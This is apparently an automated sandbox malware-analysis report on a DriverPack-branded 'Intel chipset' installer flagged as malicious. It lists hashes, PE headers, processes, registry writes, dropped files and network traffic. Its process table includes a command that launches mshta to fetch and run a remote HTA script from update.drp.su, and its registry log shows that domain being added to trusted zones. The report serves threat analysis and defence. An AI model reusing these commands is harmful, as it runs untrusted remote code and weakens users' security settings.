| download: | Intel-FORCED-Chipset-AllNTx64x86-10.1.1.44-other-drp.exe |
| Full analysis: | https://app.any.run/tasks/478f2924-c218-4f6c-b16e-0ec29637ba0f |
| Verdict: | Malicious activity |
| Analysis date: | April 18, 2018, 14:32:42 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows |
| MD5: | B48A148D92BB9AC74285C1AD0D53DEEF |
| SHA1: | FB2A6B2DE39EBCA225C29B52C3D27204D02359B8 |
| SHA256: | 17CA01132FB743ECA2A7D6ADE6A83A1C68CAE0A08670175C2F3C5D39F321D698 |
| SSDEEP: | 49152:r5+hFYj8F9jWOHVuLS3j3DxYmSAOUrw7pbOo3K3cyYF8gJKZH:r5aFYOjWOHT3XxsiqtSMpcZH |
MALICIOUS
Application was dropped or rewritten from another process
- DriverPack.exe (PID: 1616)
- DriverPack.exe (PID: 3176)
Changes internet zones settings
- mshta.exe (PID: 2344)
Changes settings of System certificates
- mshta.exe (PID: 2344)
SUSPICIOUS
Executes scripts
- Intel-FORCED-Chipset-AllNTx64x86-10.1.1.44-other-drp.exe (PID: 1956)
Starts MSHTA.EXE for opening HTA or HTMLS files
- DriverPack.exe (PID: 1616)
- cmd.exe (PID: 656)
Starts CMD.EXE for commands execution
- DriverPack.exe (PID: 1616)
- mshta.exe (PID: 2344)
- cmd.exe (PID: 3960)
Uses REG.EXE to modify Windows registry
- cmd.exe (PID: 2636)
Creates files in the user directory
- mshta.exe (PID: 2344)
- mshta.exe (PID: 2556)
Adds / modifies Windows certificates
- mshta.exe (PID: 2344)
Application launched itself
- cmd.exe (PID: 3960)
INFO
Reads internet explorer settings
- mshta.exe (PID: 2344)
- mshta.exe (PID: 2556)
Dropped object may contain URL's
- mshta.exe (PID: 2344)
- mshta.exe (PID: 2556)
- Intel-FORCED-Chipset-AllNTx64x86-10.1.1.44-other-drp.exe (PID: 1956)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Generic Win/DOS Executable (50) |
|---|---|---|
| .exe | | | DOS Executable Generic (49.9) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2016:04:03 00:14:34+02:00 |
| PEType: | PE32 |
| LinkerVersion: | 8 |
| CodeSize: | 114176 |
| InitializedDataSize: | 64512 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x1c35f |
| OSVersion: | 4 |
| ImageVersion: | - |
| SubsystemVersion: | 4 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 1.0.0.0 |
| ProductVersionNumber: | 1.0.0.0 |
| FileFlagsMask: | 0x003f |
| FileFlags: | (none) |
| FileOS: | Windows NT 32-bit |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | Neutral |
| CharacterSet: | Unicode |
| CompanyName: | DriverPack |
| FileDescription: | DriverPack |
| FileVersion: | 1 |
| InternalName: | DriverPack |
| LegalCopyright: | Copyright © Kuzyakov Artur |
| OriginalFileName: | DriverPack.exe |
| PrivateBuild: | 2016 |
| ProductName: | DriverPack |
| ProductVersion: | 1 |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 02-Apr-2016 22:14:34 |
| CompanyName: | DriverPack |
| FileDescription: | DriverPack |
| FileVersion: | 1.0 |
| InternalName: | DriverPack |
| LegalCopyright: | Copyright © Kuzyakov Artur |
| OriginalFilename: | DriverPack.exe |
| PrivateBuild: | 2016 |
| ProductName: | DriverPack |
| ProductVersion: | 1.0 |
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0060 |
| Pages in file: | 0x0001 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x00000060 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 4 |
| Time date stamp: | 02-Apr-2016 22:14:34 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x0001BD4A | 0x0001BE00 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.71053 |
.rdata | 0x0001D000 | 0x000041A8 | 0x00004200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 5.74602 |
.data | 0x00022000 | 0x00004C90 | 0x00000800 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 3.69661 |
.rsrc | 0x00027000 | 0x00006B0D | 0x00006C00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 5.00686 |
Resources
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 5.2117 | 777 | UNKNOWN | UNKNOWN | RT_MANIFEST |
2 | 3.35004 | 744 | UNKNOWN | UNKNOWN | RT_ICON |
3 | 3.10795 | 296 | UNKNOWN | UNKNOWN | RT_ICON |
4 | 4.36124 | 3752 | UNKNOWN | UNKNOWN | RT_ICON |
5 | 4.91149 | 2216 | UNKNOWN | UNKNOWN | RT_ICON |
6 | 4.97199 | 1384 | UNKNOWN | UNKNOWN | RT_ICON |
7 | 4.4475 | 9640 | UNKNOWN | UNKNOWN | RT_ICON |
8 | 4.78608 | 4264 | UNKNOWN | UNKNOWN | RT_ICON |
9 | 5.50245 | 1128 | UNKNOWN | UNKNOWN | RT_ICON |
101 | 2.89097 | 132 | UNKNOWN | UNKNOWN | RT_GROUP_ICON |
Imports
ADVAPI32.dll |
COMCTL32.dll |
GDI32.dll |
KERNEL32.dll |
MSVCRT.dll |
OLEAUT32.dll |
SHELL32.dll |
USER32.dll |
ole32.dll |
Total processes
50
Monitored processes
12
Malicious processes
2
Suspicious processes
2
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 656 | cmd /s /c "ping -n 5 8.8.8.8 | find "TTL" > nul && start mshta.exe http://update.drp.su/mustang/tools/run.hta" | C:\Windows\system32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 784 | "C:\Windows\System32\wscript.exe" "C:\Users\admin\AppData\Local\Temp\7ZipSfx.000\bin\tools\start.js" ""C:\Users\admin\AppData\Local\Temp\7ZipSfx.000\DriverPack.exe" --sfx "Intel-FORCED-Chipset-AllNTx64x86-10.1.1.44-other-drp.exe"" | C:\Windows\System32\wscript.exe | — | Intel-FORCED-Chipset-AllNTx64x86-10.1.1.44-other-drp.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 1616 | "C:\Users\admin\AppData\Local\Temp\7ZipSfx.000\DriverPack.exe" --sfx Intel-FORCED-Chipset-AllNTx64x86-10.1.1.44-other-drp.exe | C:\Users\admin\AppData\Local\Temp\7ZipSfx.000\DriverPack.exe | wscript.exe | ||||||||||||
User: admin Integrity Level: HIGH Description: Installs and updates drivers Exit code: 0 Version: 1.0 Modules
| |||||||||||||||
| 1956 | "C:\Users\admin\AppData\Local\Temp\Intel-FORCED-Chipset-AllNTx64x86-10.1.1.44-other-drp.exe" | C:\Users\admin\AppData\Local\Temp\Intel-FORCED-Chipset-AllNTx64x86-10.1.1.44-other-drp.exe | explorer.exe | ||||||||||||
User: admin Company: DriverPack Integrity Level: MEDIUM Description: DriverPack Exit code: 0 Version: 1.0 Modules
| |||||||||||||||
| 2344 | "C:\Windows\System32\mshta.exe" "C:\Users\admin\AppData\Local\Temp\7ZipSfx.000\bin\Tools\run.hta" "--sfx" "Intel-FORCED-Chipset-AllNTx64x86-10.1.1.44-other-drp.exe" | C:\Windows\System32\mshta.exe | — | DriverPack.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Microsoft (R) HTML Application host Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2556 | mshta.exe http://update.drp.su/mustang/tools/run.hta | C:\Windows\system32\mshta.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Microsoft (R) HTML Application host Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2636 | "C:\Windows\System32\cmd.exe" /c Tools\init.cmd "C:\Users\admin\AppData\Local\Temp\7ZipSfx.000\bin\Tools\run.hta" "--sfx" "Intel-FORCED-Chipset-AllNTx64x86-10.1.1.44-other-drp.exe" | C:\Windows\System32\cmd.exe | — | DriverPack.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2748 | ping -n 5 8.8.8.8 | C:\Windows\system32\PING.EXE | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: TCP/IP Ping Command Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2856 | find "TTL" | C:\Windows\system32\find.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Find String (grep) Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3176 | "C:\Users\admin\AppData\Local\Temp\7ZipSfx.000\DriverPack.exe" --sfx Intel-FORCED-Chipset-AllNTx64x86-10.1.1.44-other-drp.exe | C:\Users\admin\AppData\Local\Temp\7ZipSfx.000\DriverPack.exe | — | wscript.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: Installs and updates drivers Exit code: 3221226540 Version: 1.0 Modules
| |||||||||||||||
Total events
983
Read events
866
Write events
117
Delete events
0
Modification events
| (PID) Process: | (784) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (784) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (1956) Intel-FORCED-Chipset-AllNTx64x86-10.1.1.44-other-drp.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (1956) Intel-FORCED-Chipset-AllNTx64x86-10.1.1.44-other-drp.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (4072) reg.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\drp.su\update |
| Operation: | write | Name: | http |
Value: 1 | |||
| (PID) Process: | (4072) reg.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\drp.su\update |
| Operation: | write | Name: | https |
Value: 1 | |||
| (PID) Process: | (4072) reg.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\drp.su\update-test2 |
| Operation: | write | Name: | http |
Value: 1 | |||
| (PID) Process: | (4072) reg.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\drp.su\update-test2 |
| Operation: | write | Name: | https |
Value: 1 | |||
| (PID) Process: | (4072) reg.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Styles |
| Operation: | write | Name: | MaxScriptStatements |
Value: 4294967295 | |||
| (PID) Process: | (4072) reg.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Styles |
| Operation: | write | Name: | MaxScriptStatements |
Value: 4294967295 | |||
Executable files
5
Suspicious files
41
Text files
47
Unknown types
26
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1956 | Intel-FORCED-Chipset-AllNTx64x86-10.1.1.44-other-drp.exe | C:\Users\admin\AppData\Local\Temp\7ZipSfx.000\bin\tools\init.cmd | text | |
MD5:2D07F324A539ADE610CD86F3788DB114 | SHA256:20692738398AF39EE4C65EDA97B70F65466BAACCD1C12EEFC26E632F505B68A5 | |||
| 1956 | Intel-FORCED-Chipset-AllNTx64x86-10.1.1.44-other-drp.exe | C:\Users\admin\AppData\Local\Temp\7ZipSfx.000\bin\tools\run.hta | html | |
MD5:0067963EFFF86F2D5FB4F792CF68021A | SHA256:F8233BFFFE778F8AA2B90856298B84F296B3BF8DC0547B11AFA538A3C3081FB3 | |||
| 1956 | Intel-FORCED-Chipset-AllNTx64x86-10.1.1.44-other-drp.exe | C:\Users\admin\AppData\Local\Temp\7ZipSfx.000\bin\bluebird.js | text | |
MD5:AFBB5C813ADD5D4DF9B32419E6A89834 | SHA256:0D6E11BE55DEF7B6F817CFF2738E21DE9301AD0836E89D124A46F72A64B18EED | |||
| 1956 | Intel-FORCED-Chipset-AllNTx64x86-10.1.1.44-other-drp.exe | C:\Users\admin\AppData\Local\Temp\7ZipSfx.000\bin\styles.css | text | |
MD5:F1F2C06D2D6BBA1B321CE0386799B154 | SHA256:81224A285EE25BDDB07018336A2434D947C572E92A26AEE567BE0401B7726892 | |||
| 1956 | Intel-FORCED-Chipset-AllNTx64x86-10.1.1.44-other-drp.exe | C:\Users\admin\AppData\Local\Temp\7ZipSfx.000\bin\languages\en.js | text | |
MD5:4952407450C87FF4021971CABA67F72F | SHA256:548D6402E873848B2AC9B165F3570AA4A4121E2F30CC057C1921FA161AD34F45 | |||
| 1956 | Intel-FORCED-Chipset-AllNTx64x86-10.1.1.44-other-drp.exe | C:\Users\admin\AppData\Local\Temp\7ZipSfx.000\bin\main.js | s | |
MD5:28396D494D3C7EAFB997E1A46C911381 | SHA256:F6A61E9413BCFC77CD8A23EFC84A96EAA60B769E9CAE365DD420E767C629120C | |||
| 1956 | Intel-FORCED-Chipset-AllNTx64x86-10.1.1.44-other-drp.exe | C:\Users\admin\AppData\Local\Temp\7ZipSfx.000\bin\tools\dpinst.exe | executable | |
MD5:BBDE50EE5F06533FA799FB073F5B113A | SHA256:66DA0C37AF900D2689ACC3FC40309F70C02A405890E1E998DFCAA60E5F63092B | |||
| 1956 | Intel-FORCED-Chipset-AllNTx64x86-10.1.1.44-other-drp.exe | C:\Users\admin\AppData\Local\Temp\7ZipSfx.000\bin\language.js | text | |
MD5:2866DEC4AF17828EFACA8596942635CA | SHA256:CDD2679EAFFD10B67894AEEC93DE1F34DC56038B63FEB59C1FCF54D42C590903 | |||
| 1956 | Intel-FORCED-Chipset-AllNTx64x86-10.1.1.44-other-drp.exe | C:\Users\admin\AppData\Local\Temp\7ZipSfx.000\bin\polyfills.js | text | |
MD5:32DD27DE70FCA65AC73A1F9835D8F0C3 | SHA256:62C56826E747553724CE3881EB3F9A367664A8D8172593286E9511496C6640D1 | |||
| 1956 | Intel-FORCED-Chipset-AllNTx64x86-10.1.1.44-other-drp.exe | C:\Users\admin\AppData\Local\Temp\7ZipSfx.000\bin\tools\Icon.ico | image | |
MD5:73C365EFC22F21785CAF62A83C563DA0 | SHA256:A0A78539CF3889EAAF2ABA62FDC85ADDF4C31420EEBBFB51FC70FF41EFADC69A | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
19
TCP/UDP connections
13
DNS requests
4
Threats
14
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 82.145.55.124:80 | http://update.drp.su/nano/ | GB | text | 1.03 Kb | malicious |
— | — | GET | 200 | 104.31.74.124:80 | http://ocsp.globalsign.com/rootr1/MEwwSjBIMEYwRDAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCCwQAAAAAAURO8EJH | US | der | 1.48 Kb | whitelisted |
— | — | GET | 200 | 82.145.55.124:80 | http://update.drp.su/mustang/tools/run.hta | GB | html | 1.36 Kb | malicious |
— | — | GET | 200 | 82.145.55.124:80 | http://update.drp.su/mustang/ie-fixes.js | GB | text | 5.38 Kb | malicious |
— | — | GET | 200 | 82.145.55.124:80 | http://update.drp.su/mustang/statistics.js | GB | text | 1.85 Kb | malicious |
— | — | GET | 200 | 82.145.55.124:80 | http://update.drp.su/mustang/main.html | GB | html | 1.40 Kb | malicious |
— | — | GET | 200 | 82.145.55.124:80 | http://update.drp.su/mustang/main.js | GB | text | 1.35 Kb | malicious |
— | — | GET | 200 | 82.145.55.124:80 | http://update.drp.su/mustang/logo@2x.jpg | GB | image | 23.5 Kb | malicious |
— | — | GET | 200 | 82.145.55.124:80 | http://update.drp.su/mustang/avast@2x.jpg | GB | image | 11.7 Kb | malicious |
— | — | GET | 200 | 216.58.207.78:80 | http://www.google-analytics.com/collect?v=1&tid=UA-68879973-8&cid=916785125.9186485004&t=event&ec=driverpack%20nano&ea=application%20opened&el=1.0.9&ul=&z=6354369504200269&sc=start&cd1=916785125.9186485004&cd2=1.0.9&cd3=7%20x86&cd4=SP%201&cd5=Windows%207%20Professional%20&cd6=(not%20set) | US | image | 35 b | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 82.145.55.124:80 | update.drp.su | iomart Cloud Services Limited. | GB | unknown |
— | — | 87.250.251.119:443 | mc.yandex.ru | YANDEX LLC | RU | whitelisted |
— | — | 216.58.207.78:80 | www.google-analytics.com | Google Inc. | US | whitelisted |
— | — | 104.31.74.124:80 | ocsp.globalsign.com | Cloudflare Inc | US | shared |
DNS requests
Domain | IP | Reputation |
|---|---|---|
update.drp.su |
| malicious |
mc.yandex.ru |
| whitelisted |
www.google-analytics.com |
| whitelisted |
ocsp.globalsign.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
— | — | A Network Trojan was detected | ET POLICY HTTP Request to .su TLD (Soviet Union) Often Malware Related |
— | — | Potentially Bad Traffic | ET POLICY Possible HTA Application Download |
— | — | A Network Trojan was detected | ET POLICY HTTP Request to .su TLD (Soviet Union) Often Malware Related |
— | — | Attempted User Privilege Gain | ET CURRENT_EVENTS SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl |
— | — | A Network Trojan was detected | ET POLICY HTTP Request to .su TLD (Soviet Union) Often Malware Related |
— | — | A Network Trojan was detected | ET POLICY HTTP Request to .su TLD (Soviet Union) Often Malware Related |
— | — | A Network Trojan was detected | ET POLICY HTTP Request to .su TLD (Soviet Union) Often Malware Related |
— | — | A Network Trojan was detected | ET POLICY HTTP Request to .su TLD (Soviet Union) Often Malware Related |
— | — | A Network Trojan was detected | ET POLICY HTTP Request to .su TLD (Soviet Union) Often Malware Related |
— | — | A Network Trojan was detected | ET POLICY HTTP Request to .su TLD (Soviet Union) Often Malware Related |